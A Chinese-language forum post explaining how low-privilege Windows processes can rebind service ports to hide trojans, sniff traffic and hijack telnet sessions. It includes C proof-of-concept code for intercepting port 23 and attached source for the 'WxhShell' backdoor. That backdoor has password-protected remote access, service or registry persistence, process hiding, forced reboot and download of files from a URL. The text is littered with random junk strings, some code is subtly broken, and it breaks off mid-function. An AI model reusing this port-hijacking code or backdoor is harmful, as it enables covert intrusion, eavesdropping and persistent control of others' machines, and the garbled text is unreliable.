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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z~,.l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $3[cBX.=  
ipzUF o<w  
  saddr.sin_family = AF_INET; EIYM0vls(  
jo(Q`oxm!>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b #^aM  
tZ@ +18  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >C-_Zv<!T\  
=Hx~]1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bMUIe\/v[  
Xou#38&p>  
  这意味着什么?意味着可以进行如下的攻击: ,|#>X>^FQQ  
z^Jl4V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k41la?  
wr$}AX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &53#`WgJ  
i]53A0l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t@u\ 4bv  
#w*pWD^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J@GfO\ o  
>4ct[fW+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 epR~Rlw>2  
38m%ifh)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B@;)$1-UT  
}]~}DHYr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %)/f; T6  
bF KP V%`  
  #include 1:Yt2]  
  #include 9_Re,h  
  #include r9M={jC  
  #include    h3kHI?jMWG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b66X])+4jE  
  int main() 0`!Q-G7  
  { |g7h#F~  
  WORD wVersionRequested; bNROXiX  
  DWORD ret; f)zg&Ib  
  WSADATA wsaData; jOb[h=B"  
  BOOL val; Z0=m:h  
  SOCKADDR_IN saddr; 7idi&h"  
  SOCKADDR_IN scaddr; rEhf_[Dv  
  int err; *!'&:  
  SOCKET s; 5|R2cc|"9  
  SOCKET sc; &5.~XM;  
  int caddsize; >$mSF Jz5S  
  HANDLE mt; Q@2tT&eL  
  DWORD tid;   mei_aN7zW  
  wVersionRequested = MAKEWORD( 2, 2 ); 30_un  
  err = WSAStartup( wVersionRequested, &wsaData ); (oXN>^-D  
  if ( err != 0 ) { <!9fJFE  
  printf("error!WSAStartup failed!\n"); PEBFN  
  return -1; ` (D4gPW  
  } ~B&*7Q7  
  saddr.sin_family = AF_INET; Uxemlp%%*  
   z9ShP&^4[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V./w06;0  
kP)o=\|W{z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z) Xs;7  
  saddr.sin_port = htons(23); TJXraQK-=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v1C.\fL  
  { }Hz-h4Z  
  printf("error!socket failed!\n"); olMO+-USP  
  return -1; /Tj"Fl\h  
  } q.MVF]  
  val = TRUE; c[ ony:6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I/Jp,~JT*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .gN$N=7<  
  { ;x-H$OZX  
  printf("error!setsockopt failed!\n"); Z va  
  return -1; zw: C*sY  
  } F4rKFMr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h)_Gxe"x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hRr1#'&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9*KMbd ^T  
F:J7|<J^F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )@qup _M@  
  { .NkAD-k`  
  ret=GetLastError(); HB7(  
  printf("error!bind failed!\n"); ;:Z=%R$wJ  
  return -1; (s"iC:D6U  
  } ch>Vv"G>  
  listen(s,2); yvz?4m"_yB  
  while(1) X B*}P  
  { 5ttMua <G?  
  caddsize = sizeof(scaddr); @vQa\|j  
  //接受连接请求 _E6} XNS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -@L's{J{M  
  if(sc!=INVALID_SOCKET) +%wWSZ<#  
  { R|1xXDLm*E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~*!u  
  if(mt==NULL) xb>n&ym?  
  { =#(0)p $EC  
  printf("Thread Creat Failed!\n"); h/Hl?O8[  
  break; Vd +Q:L  
  } HmExfW  
  } rer|k<k;]G  
  CloseHandle(mt); BMNr<P2li  
  } Vf 0fT?/K  
  closesocket(s); _(6`{PWY  
  WSACleanup(); Ud#X@xK<h  
  return 0; Ka]@[R6e  
  }   |qlS6Aln  
  DWORD WINAPI ClientThread(LPVOID lpParam) U,<]J*b(@4  
  { /zG +]  
  SOCKET ss = (SOCKET)lpParam; l RDxIuTK  
  SOCKET sc; =4zNo3IvL+  
  unsigned char buf[4096]; 's[BK/  
  SOCKADDR_IN saddr; ]jc_=I6)  
  long num; vUYJf99B  
  DWORD val; Ad;S=h8:  
  DWORD ret; tqf&N0*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uxO J3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EqnpMHF  
  saddr.sin_family = AF_INET; )'5<6Q.]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5g``30:o  
  saddr.sin_port = htons(23); / Mo d=/e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !:"-:O}>=,  
  { hCM8/Vvx6  
  printf("error!socket failed!\n"); b]*X<,p  
  return -1; *bA+]&dj\  
  } s>|Z7[*  
  val = 100; 4.|-m.a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [?chK^8  
  { B6bOEPQ  
  ret = GetLastError(); ptpW41t}^  
  return -1; l"J*)P  
  } J/'M N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W]]q=c%2  
  { zF5q=9 4$  
  ret = GetLastError(); hH%,!tSx  
  return -1; Vkr`17`G  
  } r C_d$Jv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M8';%  =@  
  { J&eAL3"GF  
  printf("error!socket connect failed!\n"); z)lM2x>|*  
  closesocket(sc); XFW5AP  
  closesocket(ss); 1^C|k(t  
  return -1; 3;*z3;#}  
  } BeK2;[5C  
  while(1) <jeh`g  
  { AnNP Ti  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XRa(sXA3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {A|bBg1!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q|Pbt(44  
  num = recv(ss,buf,4096,0); ll^DY hx}  
  if(num>0) lv4(4$T  
  send(sc,buf,num,0); v f`9*xF  
  else if(num==0) H]s4% 9T  
  break; ^7uX$  
  num = recv(sc,buf,4096,0); mD7}t  
  if(num>0) &hayR_F9  
  send(ss,buf,num,0); I:#Ok+   
  else if(num==0) x>%joKY[  
  break; RqXi1<6j#  
  } q IM  
  closesocket(ss); 9\ v.qo.  
  closesocket(sc); {XtoiI  
  return 0 ; &Yp+k}XU  
  } F>N+<Z  
R<_?W#$j  
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========================================================== bGN 54{f  
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下边附上一个代码,,WXhSHELL B{p4G`$i1  
b,dr+RB  
========================================================== ic-IN~J-  
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#include "stdafx.h" lEHwZ<je  
nq' M?c#E  
#include <stdio.h> "u;YI=+  
#include <string.h> {"m0)G,G  
#include <windows.h> >AG^fUArH  
#include <winsock2.h> ==N` !+  
#include <winsvc.h> xW>ySEf  
#include <urlmon.h> , /&Z3e  
R2 lXTW*  
#pragma comment (lib, "Ws2_32.lib") 5`~mqqR5  
#pragma comment (lib, "urlmon.lib") ~:[!Uyp0b  
R:/ha(+  
#define MAX_USER   100 // 最大客户端连接数 aG! *WHt  
#define BUF_SOCK   200 // sock buffer =_ y\Y@J  
#define KEY_BUFF   255 // 输入 buffer /b#q*x-b  
]#zZWg zv  
#define REBOOT     0   // 重启 G2]^F Y  
#define SHUTDOWN   1   // 关机 "Sjr_! u  
 H4:ZTl_$  
#define DEF_PORT   5000 // 监听端口 JrDHRIkgm  
+8AvTSgX%  
#define REG_LEN     16   // 注册表键长度 )TU<:V  
#define SVC_LEN     80   // NT服务名长度 +TN^NE  
.:y5U}vR  
// 从dll定义API oG_C?(7>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F;u_7OM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -[DWM2C$K4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A59gIp*>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Oz{%k#X-  
rbyY8 bX  
// wxhshell配置信息 Zu21L3  
struct WSCFG { b9Y_!Qe  
  int ws_port;         // 监听端口 XP-C  
  char ws_passstr[REG_LEN]; // 口令 Es.nHN^]%K  
  int ws_autoins;       // 安装标记, 1=yes 0=no }ptMjT{9  
  char ws_regname[REG_LEN]; // 注册表键名 I@\+l6&#;  
  char ws_svcname[REG_LEN]; // 服务名 *Qkc[XHqy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8>NwCjN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5mgHlsDzu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 | o0RP|l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uWjU OJEe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C\Vg{&'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MBw-*K'?zB  
3c#s|qW  
}; Z\? E3j  
;YyXT"6/p  
// default Wxhshell configuration cp6WMHLj   
struct WSCFG wscfg={DEF_PORT, ``|AgIg  
    "xuhuanlingzhe", !tNd\ }@  
    1, f:woP7FP  
    "Wxhshell", 1] #9  
    "Wxhshell", @dgH50o[  
            "WxhShell Service", NfzF.{nh  
    "Wrsky Windows CmdShell Service", T_;]fPajjD  
    "Please Input Your Password: ", >jx.R  
  1, :243H  
  "http://www.wrsky.com/wxhshell.exe", >w|*ei:@S  
  "Wxhshell.exe" =X(%Svnp  
    }; g "hJ{{<  
B4g8 ~f  
// 消息定义模块 XOy2lJ/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W5pb;74|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x/mp=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O#eZ<hN V  
char *msg_ws_ext="\n\rExit."; ^6;V}2>v}  
char *msg_ws_end="\n\rQuit."; U BZ9A  
char *msg_ws_boot="\n\rReboot..."; #X`8dnQZ  
char *msg_ws_poff="\n\rShutdown..."; `tEo]p  
char *msg_ws_down="\n\rSave to "; 9&Ne+MY^%  
%Mn.e a  
char *msg_ws_err="\n\rErr!"; nFM@@oA  
char *msg_ws_ok="\n\rOK!"; UMMB0(0D  
!EBY@ Y1  
char ExeFile[MAX_PATH]; U|@V 74  
int nUser = 0; TgfrI  
HANDLE handles[MAX_USER]; sZhM a>  
int OsIsNt; aFj.i8+  
6'C2SihYp  
SERVICE_STATUS       serviceStatus; oxz{ ejd{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {i [y9  
gfa[4 z  
// 函数声明 QM<y`cZ8  
int Install(void); 6^)}PX= *  
int Uninstall(void); c EnkU]  
int DownloadFile(char *sURL, SOCKET wsh); G"dS+,Q  
int Boot(int flag); 3Q By\1h.  
void HideProc(void); jd-glE,Y/  
int GetOsVer(void); T*[ VY1  
int Wxhshell(SOCKET wsl);  $_;e>*+x  
void TalkWithClient(void *cs); rN/| (@  
int CmdShell(SOCKET sock); g"_C,XN  
int StartFromService(void); kv{}C)kt3  
int StartWxhshell(LPSTR lpCmdLine); c64v,Hj9  
O;9?(:_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "3CJUr:Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _D, ;MB&7  
,&^3Z  
// 数据结构和表定义 TbvtqM 0  
SERVICE_TABLE_ENTRY DispatchTable[] = ^jE8+h  
{ _BM4>r?\  
{wscfg.ws_svcname, NTServiceMain}, MCTsi:V>+  
{NULL, NULL} s)J(/  
}; w.{&=WTr  
e [h8}F  
// 自我安装 f9u^R=Ff[  
int Install(void) XGrue6 ya  
{ t= #&fSR  
  char svExeFile[MAX_PATH]; nIk$7rGLB  
  HKEY key; *fMpZ+;[m  
  strcpy(svExeFile,ExeFile); 23F/\2MSG  
uQ1@b-e`5  
// 如果是win9x系统,修改注册表设为自启动 )cJ#-M2  
if(!OsIsNt) { 3VO2,PCZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A^\.Z4=d"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `)iY}Iu  
  RegCloseKey(key); J:*-gwv9*m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7, } $u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xw5d|20b  
  RegCloseKey(key); (2ot5x}`j  
  return 0; kOwMs<1J  
    } 21X`h3+=  
  } V9yl4q-bL  
} 1T&Rc4$Sn7  
else { }L=/A7Nk>  
&)d$t'7p  
// 如果是NT以上系统,安装为系统服务 H`hnEOyLp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ex amD">T  
if (schSCManager!=0) o G*5f  
{ ^2D1`,|N  
  SC_HANDLE schService = CreateService *|.0Myjo  
  ( 796\jf$  
  schSCManager, =ac_,]z  
  wscfg.ws_svcname, enS}A*Io  
  wscfg.ws_svcdisp, 6RO(]5wX  
  SERVICE_ALL_ACCESS, hXIro  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c,MOv7{x_  
  SERVICE_AUTO_START, K7knK  
  SERVICE_ERROR_NORMAL, r|Z3$J{^"  
  svExeFile, CvSIV7zYo  
  NULL, {PP9$>4`l  
  NULL, }_/Hdmmx  
  NULL, 7w :ef0S  
  NULL, VZr>U*J[:  
  NULL B(a-k?  
  ); h0--B]f@  
  if (schService!=0) MB^~%uZ2K  
  { t.8 GT&p  
  CloseServiceHandle(schService); lf{e[!ML'  
  CloseServiceHandle(schSCManager); LsEXM-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xazo 9J  
  strcat(svExeFile,wscfg.ws_svcname); r`y ezbG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { - Xu.1S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XgN` 7!Z  
  RegCloseKey(key); |:[tNs*,O  
  return 0; RoA?p;]<  
    } EKEjv|_)  
  } ;h6v@)#GX  
  CloseServiceHandle(schSCManager); S1 Z2_V  
} 5,qj7HZF  
} fqX"Lus `=  
<9E0iz+j  
return 1; <U5wB]]  
} 6=4wp?  
[Aj Q#;#Q  
// 自我卸载 `e9$,h|4  
int Uninstall(void) ORGD  
{ f0<hE2  
  HKEY key; (fNUj4[  
OaJB=J%  
if(!OsIsNt) { 'j^xbikr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X'.qYsS  
  RegDeleteValue(key,wscfg.ws_regname); ](tx<3h  
  RegCloseKey(key); >EL)X #e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2XTPBZNe  
  RegDeleteValue(key,wscfg.ws_regname); M` q?Fk  
  RegCloseKey(key); UDhG :  
  return 0; q{s(.Uq$&  
  } 4c oJRqf=  
}  S( S#  
} [U}+sTQ  
else { IdYzgDH  
NaVQ9ku7VW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EXP%Mk/  
if (schSCManager!=0) 2LrJ>Mi  
{ ]{"Br$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q9I j\HbA"  
  if (schService!=0) sK{l 9  
  { Nx{$}  
  if(DeleteService(schService)!=0) { QM3,'?ekRH  
  CloseServiceHandle(schService); b'VV'+|  
  CloseServiceHandle(schSCManager); IG(?xf\C  
  return 0; ,yd MU\so(  
  } ]| N3eu  
  CloseServiceHandle(schService); ^~{$wVGa  
  } a+hd(JX0~  
  CloseServiceHandle(schSCManager); ,Jcm+ Wb  
} "UEv&mQ  
} 9lB]~,z  
T\Uek-(  
return 1; iXyO(w4D  
} +/#Ei'do  
>=]'hyn]]  
// 从指定url下载文件 f;/QJ  
int DownloadFile(char *sURL, SOCKET wsh) [V4{c@  
{ GN KF&M  
  HRESULT hr; uB!kM  
char seps[]= "/"; 2H.654  
char *token; j p $Z]  
char *file; UzXE_ S  
char myURL[MAX_PATH]; pO8ePc@=D  
char myFILE[MAX_PATH]; >iS`pb  
3 ?Y|  
strcpy(myURL,sURL); XU+<?%u}z  
  token=strtok(myURL,seps); vG \a1H  
  while(token!=NULL) I^oE4o  
  { jV(6>BAI_  
    file=token; C3G)'\yL  
  token=strtok(NULL,seps); .{;Y'Zc14S  
  } RI68%ZoL  
PrudhUI^  
GetCurrentDirectory(MAX_PATH,myFILE); : tWU .f#  
strcat(myFILE, "\\"); MxyN\Mq'  
strcat(myFILE, file); .uNQBBNv  
  send(wsh,myFILE,strlen(myFILE),0); G_>#Js  
send(wsh,"...",3,0); _+ .\@{c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -s6![eV  
  if(hr==S_OK) aR\\<due  
return 0; L`th7d"  
else e</$ s  
return 1; ,gL9?Wz  
1? FrJ6 V  
} WK="J6K5  
w.& 1%X(k  
// 系统电源模块 + >cBVx6  
int Boot(int flag) bzdb|I6Z  
{ 0i8LWX_M  
  HANDLE hToken; cBo{/Tn:  
  TOKEN_PRIVILEGES tkp; }K8/-d6  
wvrrMGU)a  
  if(OsIsNt) { %cE 2s`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^<LY4^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q,&/V_  
    tkp.PrivilegeCount = 1; e^ lWR]v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]v#r4Ert  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N)&4Hy  
if(flag==REBOOT) { >DPB!XA3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hcc"b0>}{  
  return 0; 0%) i<a!_Z  
} Yq(G;mjM  
else { /m!Cc/Hv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )[1)$-Ru  
  return 0; lo'W1p  
} q5>v'ZSo  
  } F@R1:M9*  
  else { *6 _tQ9G  
if(flag==REBOOT) { "*,XL uv>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?BhMjsy.  
  return 0; P>9aI/d9  
} h^j?01*Et  
else { J[^}u_z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BL 3gKx.'  
  return 0; a,78l@d(  
} 9<K j6t_  
} +:3*  
gIA@l `"  
return 1; U35AX9/  
} \;rYo.+  
3=W!4  
// win9x进程隐藏模块 >J u]2++lx  
void HideProc(void) :_Eqf8T  
{ Jk0r&t7  
.rPn5D Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rpw.]vnn  
  if ( hKernel != NULL ) hK<5KZ/4  
  { [b:e:P 2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :8A!HI}m{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~q&pF"va8  
    FreeLibrary(hKernel); BcD&sQ2F  
  } #$3yz'"QF  
G<M:Ak+~  
return; fvb=#58N_  
} tl'n->G>v  
C{2xHd/*  
// 获取操作系统版本  jq08=  
int GetOsVer(void) mqq;H}  
{ Qv-@Zt!8  
  OSVERSIONINFO winfo; 97)/"i e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s|y:UgD  
  GetVersionEx(&winfo); b*ef);  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ':R,53tjl  
  return 1; %p X6QRt?  
  else gNGr!3*)w  
  return 0; g R nOd  
} kp\\"+,VC  
t\$U`V)  
// 客户端句柄模块 lDmtQk-SN  
int Wxhshell(SOCKET wsl) fu$R7  
{ M@W[Bz  
  SOCKET wsh; l|5fE1K9U  
  struct sockaddr_in client; ;\MW$/[JCy  
  DWORD myID; zS] 8V?`  
7)%+=@  
  while(nUser<MAX_USER) 67y Tvr@a  
{ V34hFa  
  int nSize=sizeof(client); -[L!3jU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;l$ \6T  
  if(wsh==INVALID_SOCKET) return 1; ITy/eZ"&:  
r]ShZBAbYp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U.{l;EL:T  
if(handles[nUser]==0) \ u_ui  
  closesocket(wsh); z#F.xVg'  
else DS|KkTy3  
  nUser++; !a$ D4(`v  
  } mXUYQ 82  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f3|@|' ;  
fqu}Le  
  return 0; \n9zw'  
} l]<L [Y,E-  
 X\}Y  
// 关闭 socket Bvt@X   
void CloseIt(SOCKET wsh) ;60.l!   
{ Cye$H9 2  
closesocket(wsh); ={?v Ab:  
nUser--; 7H>@iI"?  
ExitThread(0); RmrL^asg  
} -)vEWn$3<  
2YuN~-  
// 客户端请求句柄 n4lutnF  
void TalkWithClient(void *cs) |j3'eW&=  
{ 0j(M* sl  
<5=JE*s$NS  
  SOCKET wsh=(SOCKET)cs; /*Qq[C  
  char pwd[SVC_LEN]; XlI!{qj|  
  char cmd[KEY_BUFF]; R}mn*h6  
char chr[1]; m0{!hF[^  
int i,j; ) _ I,KEe  
! Q<>3 xZ  
  while (nUser < MAX_USER) { "7>>I D  
f&D]anf33  
if(wscfg.ws_passstr) { &uUo3qXQ5l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4.RG4Jq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~XeFOM q  
  //ZeroMemory(pwd,KEY_BUFF); *Ei|fe$sa  
      i=0; )bx_;9Y{  
  while(i<SVC_LEN) { RllY-JBO  
 '8j$';&`  
  // 设置超时 HG'{J^t  
  fd_set FdRead; y0~Ia:y  
  struct timeval TimeOut; 4em;+ >D6  
  FD_ZERO(&FdRead); r6'UUu  
  FD_SET(wsh,&FdRead); E2L(wt}^  
  TimeOut.tv_sec=8; ^TB>.c@`*  
  TimeOut.tv_usec=0; *)]"27^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fFjH "2WD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3?E8\^N\n  
lt$zA%`odc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . |*f!w}5  
  pwd=chr[0]; H UoyLy  
  if(chr[0]==0xd || chr[0]==0xa) { aQ j*KMc  
  pwd=0; rwIe qV{:  
  break; i* R,QN)  
  } 80M;4nH^5  
  i++; R_sC! -  
    } aAu>Tn86D.  
-yDs< Xl  
  // 如果是非法用户,关闭 socket _if|TFw;h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {2`=qt2  
} }6 5s'JB  
qW 1V85FG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G,=yc@uq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :ug4g6;#H0  
TO,rxf  
while(1) { `IINq{Zk  
FI8Oz,  
  ZeroMemory(cmd,KEY_BUFF); A$g+K,.l  
|_u8mV  
      // 自动支持客户端 telnet标准   \8O O)98'  
  j=0; -)!> M>=s  
  while(j<KEY_BUFF) { Ch )dLPz@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VE2tq k%  
  cmd[j]=chr[0]; ;DnUQj  
  if(chr[0]==0xa || chr[0]==0xd) { G= ^X1+_  
  cmd[j]=0; aj,)P3DJu  
  break; ~8`:7m?  
  } Ut]+k+ 4  
  j++; a:YI"*S  
    } !2:3MbtR  
iAMtejw  
  // 下载文件 }G$]LWgQx  
  if(strstr(cmd,"http://")) { yz+, gLY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~#\i!I;RY}  
  if(DownloadFile(cmd,wsh)) 9@ $,oM=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N^VD=<#T  
  else /RLq>#:h**  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (wRBd  
  } =\)IaZ  
  else { /W#O +  
3>z[PPw  
    switch(cmd[0]) { 7:=5"ScV  
  O$`UCq  
  // 帮助 x}$e}8|8YL  
  case '?': { 6`\]derSon  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y%]8'q$  
    break; a=GM[{og  
  } bt+,0\Vg5  
  // 安装 _ nT{g  
  case 'i': { 3-40'$lE  
    if(Install()) {mE! Vf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p<WFqLe(":  
    else 4"\ yf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =j0x.f Se  
    break; ANH4IYd3  
    } P];JKE%  
  // 卸载 u%O-;>J  
  case 'r': { dEM ?~?  
    if(Uninstall()) o?Sla_D   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;@ WV-bLe  
    else WKA'=,`v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u"$a>S_  
    break; 0BkV/v1Uc  
    } PM$Ee #62R  
  // 显示 wxhshell 所在路径 s_jBu  
  case 'p': { Ccfwax+  
    char svExeFile[MAX_PATH]; -'rj&x{Q)U  
    strcpy(svExeFile,"\n\r"); ")s!L"x  
      strcat(svExeFile,ExeFile); d_}a`H  
        send(wsh,svExeFile,strlen(svExeFile),0); F>|9 52  
    break; {F*N=pSq  
    } e{G_GycH  
  // 重启 PX".Km p.  
  case 'b': { #`tD1T{;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yeD_j/  
    if(Boot(REBOOT)) 'Tb0-1S?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U.**9b;  
    else { Tc ZnmN  
    closesocket(wsh); w'Z!;4E0  
    ExitThread(0); 7x.%hRk  
    } hN`gB#N3  
    break; Pn TZ/|  
    } jeN1eM8 WI  
  // 关机 B{, Bno  
  case 'd': { %|3e.1oX  
